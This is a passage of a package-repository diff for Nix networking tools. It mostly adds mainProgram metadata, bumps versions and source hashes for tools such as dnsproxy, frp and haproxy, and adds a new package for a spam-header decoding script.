a/pkgs/tools/networking/corerad/default.nix +++ b/pkgs/tools/networking/corerad/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { license = licenses.asl20; maintainers = with maintainers; [ mdlayher ]; platforms = platforms.linux; + mainProgram = "corerad"; }; } diff --git a/pkgs/tools/networking/corkscrew/default.nix b/pkgs/tools/networking/corkscrew/default.nix index 757a07c919896..882b742ebc768 100644 --- a/pkgs/tools/networking/corkscrew/default.nix +++ b/pkgs/tools/networking/corkscrew/default.nix @@ -17,6 +17,7 @@ stdenv.mkDerivation rec { description = "A tool for tunneling SSH through HTTP proxies"; license = lib.licenses.gpl2; platforms = platforms.unix; + mainProgram = "corkscrew"; }; } diff --git a/pkgs/tools/networking/crackle/default.nix b/pkgs/tools/networking/crackle/default.nix index ea42e7a0b3208..f84d44ca09178 100644 --- a/pkgs/tools/networking/crackle/default.nix +++ b/pkgs/tools/networking/crackle/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation { homepage = "https://github.com/mikeryan/crackle"; maintainers = with maintainers; [ moni ]; license = licenses.bsd2; + mainProgram = "crackle"; }; } diff --git a/pkgs/tools/networking/croc/default.nix b/pkgs/tools/networking/croc/default.nix index c52ac5b9ed4b3..de3c44608655d 100644 --- a/pkgs/tools/networking/croc/default.nix +++ b/pkgs/tools/networking/croc/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "croc"; - version = "9.6.9"; + version = "9.6.13"; src = fetchFromGitHub { owner = "schollz"; repo = pname; rev = "v${version}"; - sha256 = "sha256-5nYC94x4Be1cvOumhlzCFwn+3ZsAhq66Qs/2Pk6Ko+o="; + sha256 = "sha256-uuE3Ci0JeWhYMHj5xO5UNZR4BOuaD15nMqFQFZIQCkY="; }; - vendorHash = "sha256-mxEDatG1VIPhnk7RUuobGGbUUi7HmeJvyBJFEEx4NMg="; + vendorHash = "sha256-pUWUYV1Ts/dFXUzufIWt5ETRQVpxIGzxRFq9jviG0Fs="; subPackages = [ "." ]; @@ -37,5 +37,6 @@ buildGoModule rec { homepage = "https://github.com/schollz/croc"; license = licenses.mit; maintainers = with maintainers; [ hugoreeves equirosa SuperSandro2000 ]; + mainProgram = "croc"; }; } diff --git a/pkgs/tools/networking/curlie/default.nix b/pkgs/tools/networking/curlie/default.nix index 68088a03bc203..db70b9a51f0ec 100644 --- a/pkgs/tools/networking/curlie/default.nix +++ b/pkgs/tools/networking/curlie/default.nix @@ -29,5 +29,6 @@ buildGoModule rec { homepage = "https://curlie.io/"; maintainers = with maintainers; [ ma27 ]; license = licenses.mit; + mainProgram = "curlie"; }; } diff --git a/pkgs/tools/networking/darkstat/default.nix b/pkgs/tools/networking/darkstat/default.nix index 22fdbb3e6505a..0dc03b0c0db61 100644 --- a/pkgs/tools/networking/darkstat/default.nix +++ b/pkgs/tools/networking/darkstat/default.nix @@ -53,5 +53,6 @@ stdenv.mkDerivation rec { changelog = "https://github.com/emikulic/darkstat/releases/tag/${version}"; license = licenses.gpl2Only; platforms = with platforms; unix; + mainProgram = "darkstat"; }; } diff --git a/pkgs/tools/networking/ddns-go/default.nix b/pkgs/tools/networking/ddns-go/default.nix index 0b4111a90e519..957bfcd909179 100644 --- a/pkgs/tools/networking/ddns-go/default.nix +++ b/pkgs/tools/networking/ddns-go/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "ddns-go"; - version = "6.0.3"; + version = "6.1.2"; src = fetchFromGitHub { owner = "jeessy2"; repo = pname; rev = "v${version}"; - hash = "sha256-hfL4heW2p1JdNEAQqsRMmvXSeBkw/zWfXk0YPXyqLXk="; + hash = "sha256-OKQRcYG3t7sU/HSmnkViWWm1is0fhrb6nyh8ahl/l6U="; }; - vendorHash = "sha256-UsMeYI/YogTbwyaJjVZbGMbxa434BDRBF+5VoSk6G9k="; + vendorHash = "sha256-VCp+seFaYXElQmktYlWm+nW4gNwNocOVm7T+M6+AdNg="; ldflags = [ "-X main.version=${version}" @@ -28,5 +28,6 @@ buildGoModule rec { description = "Simple and easy to use DDNS"; license = licenses.mit; maintainers = with maintainers; [ oluceps ]; + mainProgram = "ddns-go"; }; } diff --git a/pkgs/tools/networking/decode-spam-headers/default.nix b/pkgs/tools/networking/decode-spam-headers/default.nix new file mode 100644 index 0000000000000..8f18658b52c52 --- /dev/null +++ b/pkgs/tools/networking/decode-spam-headers/default.nix @@ -0,0 +1,58 @@ +{ lib, stdenv, fetchFromGitHub, python3Packages }: + +python3Packages.buildPythonApplication rec { + pname = "decode-spam-headers"; + version = "2022-09-22-unreleased"; + + src = fetchFromGitHub { + owner = "mgeeky"; + repo = "decode-spam-headers"; + rev = "492b6e744475cd5d3dd68a8140bc3478244b7df1"; + sha256 = "sha256-gBDkvlZCndQjochn6TZtM/Lanza64LqMjNnLjn+pPR4="; + }; + + format = "other"; + + outputs = [ "out" "doc" ]; + + installPhase = '' + install -D decode-spam-headers.py $out/bin/decode-spam-headers + + mkdir -p $doc/share/doc/${pname} + mv \ + README.md \ + img/ \ + $doc/share/doc/${pname} + ''; + + propagatedBuildInputs = [ + python3Packages.python-dateutil + python3Packages.tldextract + python3Packages.packaging + python3Packages.dnspython + python3Packages.requests + python3Packages.colorama + ]; + + meta = with lib; { + homepage = "https://github.com/mgeeky/decode-spam-headers/"; + description = "A script that helps you understand why your E-Mail ended up in Spam"; + longDescription = '' + Whether you are trying to understand why a specific e-mail ended up in + SPAM/Junk for your daily Administrative duties or for your Red-Team + Phishing simulation purposes, this script is there for you to help! + + This tool accepts on input an *.EML or *.txt file with all the SMTP + headers. It will then extract a subset of interesting headers and using + 105+ tests will attempt to decode them as much as possible. + + This script also extracts all IPv4 addresses and domain names and performs + full DNS resolution of them. + + Resulting output will contain useful information on why this e-mail might + have been blocked. + ''; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/tools/networking/dhcpcd/default.nix b/pkgs/tools/networking/dhcpcd/default.nix index 9d4dc1cd7c2c6..158097d7c166b 100644 --- a/pkgs/tools/networking/dhcpcd/default.nix +++ b/pkgs/tools/networking/dhcpcd/default.nix @@ -65,5 +65,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; license = licenses.bsd2; maintainers = with maintainers; [ eelco ]; + mainProgram = "dhcpcd"; }; } diff --git a/pkgs/tools/networking/dhcpdump/default.nix b/pkgs/tools/networking/dhcpdump/default.nix index 38c8bc76967c3..e0e95f26d3d5f 100644 --- a/pkgs/tools/networking/dhcpdump/default.nix +++ b/pkgs/tools/networking/dhcpdump/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ nickcao ]; license = licenses.bsd2; + mainProgram = "dhcpdump"; }; } diff --git a/pkgs/tools/networking/dhcping/default.nix b/pkgs/tools/networking/dhcping/default.nix index f1f8cd8b5e4b7..87c84c5795aff 100644 --- a/pkgs/tools/networking/dhcping/default.nix +++ b/pkgs/tools/networking/dhcping/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { homepage = "http://www.mavetju.org/unix/general.php"; license = licenses.bsd2; platforms = platforms.unix; + mainProgram = "dhcping"; }; } diff --git a/pkgs/tools/networking/dnscrypt-wrapper/default.nix b/pkgs/tools/networking/dnscrypt-wrapper/default.nix index 944fd1b589770..49647153b6668 100644 --- a/pkgs/tools/networking/dnscrypt-wrapper/default.nix +++ b/pkgs/tools/networking/dnscrypt-wrapper/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.isc; maintainers = with maintainers; [ joachifm ]; platforms = platforms.linux; + mainProgram = "dnscrypt-wrapper"; }; } diff --git a/pkgs/tools/networking/dnsmasq/default.nix b/pkgs/tools/networking/dnsmasq/default.nix index 43d2124d682b3..c63c2fa4fbbc8 100644 --- a/pkgs/tools/networking/dnsmasq/default.nix +++ b/pkgs/tools/networking/dnsmasq/default.nix @@ -18,11 +18,11 @@ let in stdenv.mkDerivation rec { pname = "dnsmasq"; - version = "2.89"; + version = "2.90"; src = fetchurl { url = "https://www.thekelleys.org.uk/dnsmasq/${pname}-${version}.tar.xz"; - sha256 = "sha256-Ar0jA0bPC51ZCfXhUd8WiycHEDeF62FrVmhYVa3rtgk="; + hash = "sha256-jlAwm9g3v+yWSagS4GbAm2mItz10m30pPAbFfUahCeQ="; }; postPatch = lib.optionalString stdenv.hostPlatform.isLinux '' diff --git a/pkgs/tools/networking/dnsmon-go/default.nix b/pkgs/tools/networking/dnsmon-go/default.nix index c8dbfdeddd43b..2a0dea59c7f94 100644 --- a/pkgs/tools/networking/dnsmon-go/default.nix +++ b/pkgs/tools/networking/dnsmon-go/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { homepage = "https://github.com/jonpulsifer/dnsmon-go"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; + mainProgram = "dnsmon-go"; }; } diff --git a/pkgs/tools/networking/dnsmonster/default.nix b/pkgs/tools/networking/dnsmonster/default.nix index f36fa1d2d98f0..e4a5d097f04ad 100644 --- a/pkgs/tools/networking/dnsmonster/default.nix +++ b/pkgs/tools/networking/dnsmonster/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { license = licenses.gpl2Only; maintainers = with maintainers; [ fab ]; broken = stdenv.isDarwin; + mainProgram = "dnsmonster"; }; } diff --git a/pkgs/tools/networking/dnsproxy/default.nix b/pkgs/tools/networking/dnsproxy/default.nix index fd1d9606fcf23..15bf69ad6efe4 100644 --- a/pkgs/tools/networking/dnsproxy/default.nix +++ b/pkgs/tools/networking/dnsproxy/default.nix @@ -2,18 +2,21 @@ buildGoModule rec { pname = "dnsproxy"; - version = "0.54.0"; + version = "0.65.2"; src = fetchFromGitHub { owner = "AdguardTeam"; - repo = pname; + repo = "dnsproxy"; rev = "v${version}"; - sha256 = "sha256-wA88v8zF5sq3NQwKh8g4k/COviuaegGn6bBTzBMcdGM="; + hash = "sha256-+82dYFk5mN1p17++2Yg3GCLe8Ud4KbZIGgdfaTepEBw="; }; - vendorHash = null; + vendorHash = "sha256-kBf32hXZ5fpu2ME30t5FmYwGMnD6Jp6owGnjUL9CViY="; - ldflags = [ "-s" "-w" "-X" "main.VersionString=${version}" ]; + ldflags = [ "-s" "-w" "-X" "github.com/AdguardTeam/dnsproxy/internal/version.version=${version}" ]; + + # Development tool dependencies; not part of the main project + excludedPackages = [ "internal/tools" ]; doCheck = false; @@ -21,6 +24,7 @@ buildGoModule rec { description = "Simple DNS proxy with DoH, DoT, and DNSCrypt support"; homepage = "https://github.com/AdguardTeam/dnsproxy"; license = licenses.asl20; - maintainers = with maintainers; [ contrun ]; + maintainers = with maintainers; [ contrun diogotcorreia ]; + mainProgram = "dnsproxy"; }; } diff --git a/pkgs/tools/networking/dnstake/default.nix b/pkgs/tools/networking/dnstake/default.nix index ccb5d2e597dfc..37e5e0c38af7d 100644 --- a/pkgs/tools/networking/dnstake/default.nix +++ b/pkgs/tools/networking/dnstake/default.nix @@ -31,5 +31,6 @@ buildGoModule rec { homepage = "https://github.com/pwnesia/dnstake"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; + mainProgram = "dnstake"; }; } diff --git a/pkgs/tools/networking/dnstop/default.nix b/pkgs/tools/networking/dnstop/default.nix index 7669f6eec8f95..05cd8f67d8697 100644 --- a/pkgs/tools/networking/dnstop/default.nix +++ b/pkgs/tools/networking/dnstop/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { homepage = "http://dns.measurement-factory.com/tools/dnstop"; license = lib.licenses.bsd3; platforms = lib.platforms.unix; + mainProgram = "dnstop"; }; } diff --git a/pkgs/tools/networking/dnstracer/default.nix b/pkgs/tools/networking/dnstracer/default.nix index d52a6d4fc73cd..c4e5fc18e6e6f 100644 --- a/pkgs/tools/networking/dnstracer/default.nix +++ b/pkgs/tools/networking/dnstracer/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = licenses.bsd2; maintainers = with maintainers; [ ]; platforms = platforms.all; + mainProgram = "dnstracer"; }; } diff --git a/pkgs/tools/networking/driftnet/default.nix b/pkgs/tools/networking/driftnet/default.nix index ccf6da31be28e..7957d90f05d3d 100644 --- a/pkgs/tools/networking/driftnet/default.nix +++ b/pkgs/tools/networking/driftnet/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ offline ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "driftnet"; }; } diff --git a/pkgs/tools/networking/drill/default.nix b/pkgs/tools/networking/drill/default.nix index 032ce0be5e22e..005d24ac323ff 100644 --- a/pkgs/tools/networking/drill/default.nix +++ b/pkgs/tools/networking/drill/default.nix @@ -38,5 +38,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/fcsonline/drill"; license = licenses.gpl3Only; maintainers = with maintainers; [ Br1ght0ne ]; + mainProgram = "drill"; }; } diff --git a/pkgs/tools/networking/ebpf-verifier/default.nix b/pkgs/tools/networking/ebpf-verifier/default.nix index 8605db55bba82..79a29cee8be31 100644 --- a/pkgs/tools/networking/ebpf-verifier/default.nix +++ b/pkgs/tools/networking/ebpf-verifier/default.nix @@ -54,5 +54,6 @@ stdenv.mkDerivation { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ gaelreyrol ]; + mainProgram = "ebpf-verifier"; }; } diff --git a/pkgs/tools/networking/edgedb/default.nix b/pkgs/tools/networking/edgedb/default.nix index 1ace10486dea5..c785488337543 100644 --- a/pkgs/tools/networking/edgedb/default.nix +++ b/pkgs/tools/networking/edgedb/default.nix @@ -69,5 +69,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://www.edgedb.com/docs/cli/index"; license = with licenses; [ asl20 /* or */ mit ]; maintainers = with maintainers; [ ahirner kirillrdy ]; + mainProgram = "edgedb"; }; } diff --git a/pkgs/tools/networking/email/default.nix b/pkgs/tools/networking/email/default.nix index 8848068d0dea1..c4ef390e6b817 100644 --- a/pkgs/tools/networking/email/default.nix +++ b/pkgs/tools/networking/email/default.nix @@ -47,5 +47,6 @@ stdenv.mkDerivation { license = with lib.licenses; [ gpl2 ]; homepage = "https://deanproxy.com/code"; platforms = lib.platforms.unix; + mainProgram = "email"; }; } diff --git a/pkgs/tools/networking/fakeroute/default.nix b/pkgs/tools/networking/fakeroute/default.nix index fc07b1d9f66c3..533f21e0f5f21 100644 --- a/pkgs/tools/networking/fakeroute/default.nix +++ b/pkgs/tools/networking/fakeroute/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { homepage = "https://maxwell.ydns.eu/git/rnhmjoj/fakeroute"; license = licenses.bsd3; platforms = platforms.linux; + mainProgram = "fakeroute"; }; } diff --git a/pkgs/tools/networking/fast-ssh/default.nix b/pkgs/tools/networking/fast-ssh/default.nix index 5d899fa541840..3fb812a38ee74 100644 --- a/pkgs/tools/networking/fast-ssh/default.nix +++ b/pkgs/tools/networking/fast-ssh/default.nix @@ -35,5 +35,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/julien-r44/fast-ssh"; license = licenses.mit; maintainers = with maintainers; [ fab ]; + mainProgram = "fast-ssh"; }; } diff --git a/pkgs/tools/networking/fastd/default.nix b/pkgs/tools/networking/fastd/default.nix index 47007e1646ee1..20f8adf71cf8d 100644 --- a/pkgs/tools/networking/fastd/default.nix +++ b/pkgs/tools/networking/fastd/default.nix @@ -54,5 +54,6 @@ stdenv.mkDerivation rec { license = with licenses; [ bsd2 bsd3 ]; platforms = platforms.linux; maintainers = with maintainers; [ fpletz ]; + mainProgram = "fastd"; }; } diff --git a/pkgs/tools/networking/filegive/default.nix b/pkgs/tools/networking/filegive/default.nix index 2fafc90fcf019..9d85c168c5ce9 100644 --- a/pkgs/tools/networking/filegive/default.nix +++ b/pkgs/tools/networking/filegive/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { description = "Easy p2p file sending program"; license = licenses.agpl3Plus; maintainers = with maintainers; [ viric ]; + mainProgram = "filegive"; }; } diff --git a/pkgs/tools/networking/findomain/default.nix b/pkgs/tools/networking/findomain/default.nix index 636dcc7094620..deb9bb32fe0a8 100644 --- a/pkgs/tools/networking/findomain/default.nix +++ b/pkgs/tools/networking/findomain/default.nix @@ -54,5 +54,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/Findomain/Findomain/releases/tag/${version}"; license = licenses.gpl3Plus; maintainers = with maintainers; [ Br1ght0ne figsoda ]; + mainProgram = "findomain"; }; } diff --git a/pkgs/tools/networking/flannel/default.nix b/pkgs/tools/networking/flannel/default.nix index 54b481fc37739..9bd20bb090f3c 100644 --- a/pkgs/tools/networking/flannel/default.nix +++ b/pkgs/tools/networking/flannel/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { homepage = "https://github.com/flannel-io/flannel"; maintainers = with maintainers; [ johanot offline ]; platforms = with platforms; linux; + mainProgram = "flannel"; }; } diff --git a/pkgs/tools/networking/fping/default.nix b/pkgs/tools/networking/fping/default.nix index f04bae13ce096..df36d80925798 100644 --- a/pkgs/tools/networking/fping/default.nix +++ b/pkgs/tools/networking/fping/default.nix @@ -16,5 +16,6 @@ stdenv.mkDerivation rec { description = "Send ICMP echo probes to network hosts"; license = licenses.bsd0; platforms = platforms.all; + mainProgram = "fping"; }; } diff --git a/pkgs/tools/networking/frp/default.nix b/pkgs/tools/networking/frp/default.nix index 3f81a72831706..38401ce3acf98 100644 --- a/pkgs/tools/networking/frp/default.nix +++ b/pkgs/tools/networking/frp/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "frp"; - version = "0.53.2"; + version = "0.54.0"; src = fetchFromGitHub { owner = "fatedier"; repo = pname; rev = "v${version}"; - sha256 = "sha256-/z/pZgB4PepJXXjOBuuq1wHXI2pn/KCxY9cdfANdWGQ="; + hash = "sha256-K/Yyu8J1PT+rs/lLxhOXxMQ4winZF1zfD2BOBepzXeM="; }; - vendorHash = "sha256-mcgHbwdqcIu4BceuQg+Es0dsIpWG0bsIpd056IOxuiY="; + vendorHash = "sha256-jj0ViYBFxexgoBPzjDC/9i7lH0/ZdEH2u8offndIKSw="; doCheck = false; diff --git a/pkgs/tools/networking/gemget/default.nix b/pkgs/tools/networking/gemget/default.nix index 84f4894d51bca..b31d4491b5994 100644 --- a/pkgs/tools/networking/gemget/default.nix +++ b/pkgs/tools/networking/gemget/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/makeworld-the-better-one/gemget"; license = licenses.mit; maintainers = with maintainers; [ amfl ]; + mainProgram = "gemget"; }; } diff --git a/pkgs/tools/networking/ghostunnel/default.nix b/pkgs/tools/networking/ghostunnel/default.nix index 444079f2f09ae..85ffdefb74242 100644 --- a/pkgs/tools/networking/ghostunnel/default.nix +++ b/pkgs/tools/networking/ghostunnel/default.nix @@ -39,5 +39,6 @@ buildGoModule rec { changelog = "https://github.com/ghostunnel/ghostunnel/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ roberth ]; + mainProgram = "ghostunnel"; }; } diff --git a/pkgs/tools/networking/go-shadowsocks2/default.nix b/pkgs/tools/networking/go-shadowsocks2/default.nix index 94763df92b278..ac6bbc1663aaa 100644 --- a/pkgs/tools/networking/go-shadowsocks2/default.nix +++ b/pkgs/tools/networking/go-shadowsocks2/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/shadowsocks/go-shadowsocks2/"; license = licenses.asl20; maintainers = with maintainers; [ oxzi ]; + mainProgram = "go-shadowsocks2"; }; } diff --git a/pkgs/tools/networking/gobgp/default.nix b/pkgs/tools/networking/gobgp/default.nix index 8304f15ba960d..ed04e7f57b0a9 100644 --- a/pkgs/tools/networking/gobgp/default.nix +++ b/pkgs/tools/networking/gobgp/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "gobgp"; - version = "3.23.0"; + version = "3.24.0"; src = fetchFromGitHub { owner = "osrg"; repo = "gobgp"; rev = "v${version}"; - sha256 = "sha256-PUwYcwWgaV/DQl565fugppc+I/y7z7Ns3P4SspS88ts="; + sha256 = "sha256-JGgkhNSKprqaUBaW+m/5vYnuDri1Ibyf2Y6SMlscnIU="; }; vendorHash = "sha256-5eB3vFOo3LCsjMnWYFH0yq5+IunwKXp5C34x6NvpFZ8="; @@ -28,5 +28,6 @@ buildGoModule rec { homepage = "https://osrg.github.io/gobgp/"; license = licenses.asl20; maintainers = with maintainers; [ higebu ]; + mainProgram = "gobgp"; }; } diff --git a/pkgs/tools/networking/godns/default.nix b/pkgs/tools/networking/godns/default.nix index c50fa68a068b2..a41d1993270b9 100644 --- a/pkgs/tools/networking/godns/default.nix +++ b/pkgs/tools/networking/godns/default.nix @@ -34,5 +34,6 @@ buildGoModule rec { changelog = "https://github.com/TimothyYe/godns/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ yinfeng ]; + mainProgram = "godns"; }; } diff --git a/pkgs/tools/networking/godspeed/default.nix b/pkgs/tools/networking/godspeed/default.nix index 2ffb1afed06a0..64441c1674dd2 100644 --- a/pkgs/tools/networking/godspeed/default.nix +++ b/pkgs/tools/networking/godspeed/default.nix @@ -32,5 +32,6 @@ buildGoModule rec { homepage = "https://github.com/redcode-labs/GodSpeed"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ] ++ teams.redcodelabs.members; + mainProgram = "godspeed"; }; } diff --git a/pkgs/tools/networking/gof5/default.nix b/pkgs/tools/networking/gof5/default.nix index 4c9ab25cc7881..ead38427816c6 100644 --- a/pkgs/tools/networking/gof5/default.nix +++ b/pkgs/tools/networking/gof5/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { homepage = "https://github.com/kayrus/gof5"; license = licenses.asl20; maintainers = with maintainers; [ leixb ]; + mainProgram = "gof5"; }; } diff --git a/pkgs/tools/networking/goflow/default.nix b/pkgs/tools/networking/goflow/default.nix index a057fcf6130e2..f3dc23c3f7450 100644 --- a/pkgs/tools/networking/goflow/default.nix +++ b/pkgs/tools/networking/goflow/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "goflow"; - version = "3.4.4"; + version = "3.4.5"; src = fetchFromGitHub { owner = "cloudflare"; repo = pname; rev = "v${version}"; - sha256 = "sha256-nMWAvvJj1S5W4ItOT212bn9CPG5Lpdd+k8ciwGmeu0w="; + sha256 = "sha256-2tQADlAajuiNtygdu2SCu2EF3NAuloQL0ROBMUZudZU="; }; vendorHash = "sha256-fOlfVI8v7KqNSRhAPlZBSHKfZRlCbCgjnMV/6bsqDhg="; diff --git a/pkgs/tools/networking/goimapnotify/default.nix b/pkgs/tools/networking/goimapnotify/default.nix index 34de361d46b8a..fc339f219349d 100644 --- a/pkgs/tools/networking/goimapnotify/default.nix +++ b/pkgs/tools/networking/goimapnotify/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "goimapnotify"; - version = "2.3.11"; + version = "2.3.12"; src = fetchFromGitLab { owner = "shackra"; repo = "goimapnotify"; rev = version; - sha256 = "sha256-b3w+SqmxRY/24qgFUSM4RQswObAH5jy3yEfGXY298Ko="; + sha256 = "sha256-H1psA73ZBz4ZCFWGpiAXQ3bDLVH3jPnyOvPtUdsO6BA="; }; vendorHash = "sha256-DphGe9jbKo1aIfpF5kRYNSn/uIYHaRMrygda5t46svw="; diff --git a/pkgs/tools/networking/goreplay/default.nix b/pkgs/tools/networking/goreplay/default.nix index 25e98b787c5a0..71081713c70d2 100644 --- a/pkgs/tools/networking/goreplay/default.nix +++ b/pkgs/tools/networking/goreplay/default.nix @@ -32,5 +32,6 @@ buildGoModule rec { license = lib.licenses.lgpl3Only; description = "Open-source tool for capturing and replaying live HTTP traffic"; maintainers = with lib.maintainers; [ lovek323 ]; + mainProgram = "goreplay"; }; } diff --git a/pkgs/tools/networking/gost/default.nix b/pkgs/tools/networking/gost/default.nix index 6e7743fb990ca..4c31ce88cbf51 100644 --- a/pkgs/tools/networking/gost/default.nix +++ b/pkgs/tools/networking/gost/default.nix @@ -56,5 +56,6 @@ buildGoModule rec { homepage = "https://github.com/ginuerzh/gost"; license = licenses.mit; maintainers = with maintainers; [ pmy ]; + mainProgram = "gost"; }; } diff --git a/pkgs/tools/networking/gping/default.nix b/pkgs/tools/networking/gping/default.nix index 4a31bb1494b79..80e6898630d28 100644 --- a/pkgs/tools/networking/gping/default.nix +++ b/pkgs/tools/networking/gping/default.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "gping"; - version = "1.16.0"; + version = "1.16.1"; src = fetchFromGitHub { owner = "orf"; repo = "gping"; rev = "gping-v${version}"; - hash = "sha256-t9USry3I6tc8EKsfkq28/hPJMbaf0BqqOdzCl3oXd60="; + hash = "sha256-hCqjbJt0dHuvFsWEF/WgLEPY2xws71wFGdhzThYOOvA="; }; - cargoHash = "sha256-QERmZOyC4U6ZpCkL7ap5MRvPEE2vqK/tD+CrBLg07J0="; + cargoHash = "sha256-3jpQ8ANg9WYK1Q5Hph6fK442e5f9dsLQbTMBEwTaENc="; buildInputs = lib.optionals stdenv.isDarwin [ libiconv Security ]; @@ -42,5 +42,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/orf/gping/releases/tag/gping-v${version}"; license = licenses.mit; maintainers = with maintainers; [ andrew-d ]; + mainProgram = "gping"; }; } diff --git a/pkgs/tools/networking/grpc_cli/default.nix b/pkgs/tools/networking/grpc_cli/default.nix index 161fad0af7f3e..0e2cc5be00c89 100644 --- a/pkgs/tools/networking/grpc_cli/default.nix +++ b/pkgs/tools/networking/grpc_cli/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "grpc_cli"; - version = "1.61.1"; + version = "1.62.0"; src = fetchFromGitHub { owner = "grpc"; repo = "grpc"; rev = "v${version}"; - hash = "sha256-vrLkiNnsW6IpZNGhs6iZgEhdlV9Qpg8PLMDG2BKY2wo="; + hash = "sha256-iqoxgo/oocO9gBq0o5bmZvre/EwRguMrWnmwvyLGLr8="; fetchSubmodules = true; }; nativeBuildInputs = [ automake cmake autoconf ]; @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = with maintainers; [ doriath ]; platforms = platforms.linux; + mainProgram = "grpc_cli"; }; } diff --git a/pkgs/tools/networking/grpcui/default.nix b/pkgs/tools/networking/grpcui/default.nix index eb7400b41890a..f4bca5a299113 100644 --- a/pkgs/tools/networking/grpcui/default.nix +++ b/pkgs/tools/networking/grpcui/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { license = licenses.mit; maintainers = with maintainers; [ pradyuman ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "grpcui"; }; } diff --git a/pkgs/tools/networking/grpcurl/default.nix b/pkgs/tools/networking/grpcurl/default.nix index 02ad218cbf17a..252a148f6fc7b 100644 --- a/pkgs/tools/networking/grpcurl/default.nix +++ b/pkgs/tools/networking/grpcurl/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://github.com/fullstorydev/grpcurl"; license = licenses.mit; maintainers = with maintainers; [ knl ]; + mainProgram = "grpcurl"; }; } diff --git a/pkgs/tools/networking/hans/default.nix b/pkgs/tools/networking/hans/default.nix index 86855cf6034f3..ac591c200fe22 100644 --- a/pkgs/tools/networking/hans/default.nix +++ b/pkgs/tools/networking/hans/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { homepage = "https://code.gerade.org/hans/"; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "hans"; }; } diff --git a/pkgs/tools/networking/haproxy/default.nix b/pkgs/tools/networking/haproxy/default.nix index ce275eca6783f..ae15785a21ff4 100644 --- a/pkgs/tools/networking/haproxy/default.nix +++ b/pkgs/tools/networking/haproxy/default.nix @@ -29,11 +29,11 @@ let sslPkg = sslPkgs.${sslLibrary}; in stdenv.mkDerivation (finalAttrs: { pname = "haproxy"; - version = "2.9.4"; + version = "2.9.6"; src = fetchurl { url = "https://www.haproxy.org/download/${lib.versions.majorMinor finalAttrs.version}/src/haproxy-${finalAttrs.version}.tar.gz"; - hash = "sha256-nDiSzDwISsTwASXvIqFRzxgUFthKqKN69q9qoDmQlrw="; + hash = "sha256-IIrfR8j6g8VJeANLpcARC3RjxHB48Rm9BSNCFxo7mgs="; }; buildInputs = [ sslPkg zlib libxcrypt ] diff --git a/pkgs/tools/networking/hey/default.nix b/pkgs/tools/networking/hey/default.nix index fc086eeeafff9..b5d565d84743c 100644 --- a/pkgs/tools/networking/hey/default.nix +++ b/pkgs/tools/networking/hey/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/rakyll/hey"; license = licenses.asl20; maintainers = with maintainers; [ Br1ght0ne ]; + mainProgram = "hey"; }; } diff --git a/pkgs/tools/networking/horst/default.nix b/pkgs/tools/networking/horst/default.nix index 5e4568914d840..2e220a171cc27 100644 --- a/pkgs/tools/networking/horst/default.nix +++ b/pkgs/tools/networking/horst/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.fpletz ]; license = licenses.gpl2Plus; platforms = platforms.linux; + mainProgram = "horst"; }; } diff --git a/pkgs/tools/networking/hostapd-mana/default.nix b/pkgs/tools/networking/hostapd-mana/default.nix index 56527fb15531a..2ca826314c579 100644 --- a/pkgs/tools/networking/hostapd-mana/default.nix +++ b/pkgs/tools/networking/hostapd-mana/default.nix @@ -81,7 +81,7 @@ stdenv.mkDerivation rec { homepage = "https://github.com/sensepost/hostapd-mana"; description = "A featureful rogue wifi access point tool"; license = licenses.bsd3; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; platforms = platforms.linux; }; } diff --git a/pkgs/tools/networking/hss/default.nix b/pkgs/tools/networking/hss/default.nix index 77f96113decf4..e2535395971a7 100644 --- 